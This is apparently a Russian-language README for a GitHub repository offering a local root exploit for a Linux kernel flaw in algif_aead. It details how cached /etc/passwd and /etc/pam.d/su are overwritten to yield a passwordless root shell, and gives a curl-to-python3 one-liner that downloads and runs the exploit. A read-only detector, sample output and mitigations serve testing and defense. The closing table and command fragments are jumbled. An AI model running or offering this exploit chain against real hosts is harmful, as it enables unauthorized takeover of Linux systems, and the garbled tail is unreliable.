
Локальный эксплойт повышения привилегий для CVE-2026-31431 в algif_aead ядра Linux, использующий splice для перезаписи page cache и получения прав root. Включает детектор только для чтения.
CVE-2026-31431 — это уязвимость локального повышения привилегий в подсистеме algif_aead ядра Linux. Реализация AEAD authencesn выполняет расшифровку на месте через splice(2), помещая страницу из page cache в целевой scatterlist. 4-байтовое значение из AAD (seqno_lo) записывается обратно в эту страницу page cache до проверки тега аутентификации — что позволяет непривилегированному пользователю перезаписывать произвольные байты page cache любого файла, доступного для чтения всем пользователям.
Уязвимы с версии: ядро 4.14 (август 2017) — когда authesn был добавлен в algif_aead
Исправления выпущены для: только стабильных веток 6.12, 6.17 и 6.18
Постоянно без исправления: ядра 4.14–6.11 (EOL; бэкпорт выпускаться не будет)
Требуемые примитивы: сокет AF_ALG, шифр authencesn(hmac(sha256),cbc(aes)), splice(2) в файловый дескриптор сокета AF_ALG
Воздействие: локальное повышение привилегий до root — полностью автоматизировано, пароль не требуется
Эксплойт последовательно применяет два патча к page cache, а затем автоматически выполняет su:
Патч /etc/passwd — открывает файл (доступный для чтения всем), заполняет его page cache, затем использует примитив splice из authencesn, чтобы изменить 4-значное поле UID текущего пользователя на 0000. После патча getpwnam() сообщает, что пользователь имеет UID 0.
Патч /etc/pam.d/su — pam_rootok.so и pam_permit.so оба имеют длину ровно 13 символов. Две 4-байтовые записи заменяют pam_rootok.so на pam_permit.so в page cache конфигурации PAM. Поскольку pam_permit всегда возвращает PAM_SUCCESS, существующая строка auth sufficient срабатывает немедленно — запрос пароля не выводится.
Автоматическая оболочка — скрипт выполняет . PAM аутентифицирует без пароля (шаг 2), затем успешно выполняется, потому что сообщает UID 0 (шаг 1). Root-оболочка возвращается без какого-либо взаимодействия с пользователем.
Запись на диск не выполняется ни в какой момент. Сброс page cache (echo 3 > /proc/sys/vm/drop_caches) или перезагрузка полностью отменяют оба патча.
Только для авторизованного тестирования. Запускайте только на хостах, которыми вы владеете или для оценки которых у вас есть явное разрешение.
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/exploit.py | TARGET_USER=$(whoami) python3
Root-оболочка возвращается автоматически — пароль не нужен.
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
TARGET_USER=$(whoami) python3 exploit.py
echo 3 | tee /proc/sys/vm/drop_caches
AF_ALG включена (стандартно в большинстве дистрибутивов)authencesn(hmac(sha256),cbc(aes)) загружаем (стандартно в большинстве дистрибутивов)test_cve_2026_31431.py — это безопасный детектор только для чтения, включённый в этот репозиторий. Он проверяет примитив splice из algif_aead на одноразовом файле-маркере, который создаёт во временном каталоге — системные файлы не затрагиваются. Он выводит вердикт и завершается с чётко определённым кодом:
| Код выхода | Значение |
|---|---|
0 | Не уязвим — предварительное условие не выполнено или page cache не был изменён |
Запуск:
# Однострочная команда (установка не требуется)
curl -sL https://raw.githubusercontent.com/mfloresdacunha/CVE-2026-31431/main/test_cve_2026_31431.py | python3
echo "Код выхода: $?"
# Или из локального клона
git clone https://github.com/mfloresdacunha/CVE-2026-31431.git
cd CVE-2026-31431
python3 test_cve_2026_31431.py
echo "Код выхода: $?"
Пример вывода на уязвимом ядре:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[!] VULNERABLE to CVE-2026-31431.
[!] Marker b'PWND' (AAD seqno_lo) landed in the spliced page-cache page at offset 24.
[!] Surrounding bytes: 00000000504d4e4400000000 (b'\x00\x00\x00\x00PWND\x00\x00\x00\x00')
[!] Apply the upstream fix or block algif_aead immediately.
Пример вывода на исправленном ядре:
[*] CVE-2026-31431 detector kernel=6.12.0-55-generic arch=x86_64
[+] AF_ALG + 'authencesn(hmac(sha256),cbc(aes))' loadable - precondition met.
[+] Page cache intact. NOT vulnerable on this kernel.
algif_aead через /etc/modprobe.d: install algif_aead /bin/falseAF_ALG с помощью seccomp или политики LSM.net/tls + crypto/algif_aead — изоляция dst scatterlist для authencesn при расшифровке на местеsu <пользователь>setuid(0)getpwnam()1 | Ошибка теста (например, AF_ALG недоступен, splice не поддерживается) |
2 | УЯЗВИМ — байты маркера попали в страницу page cache после splice |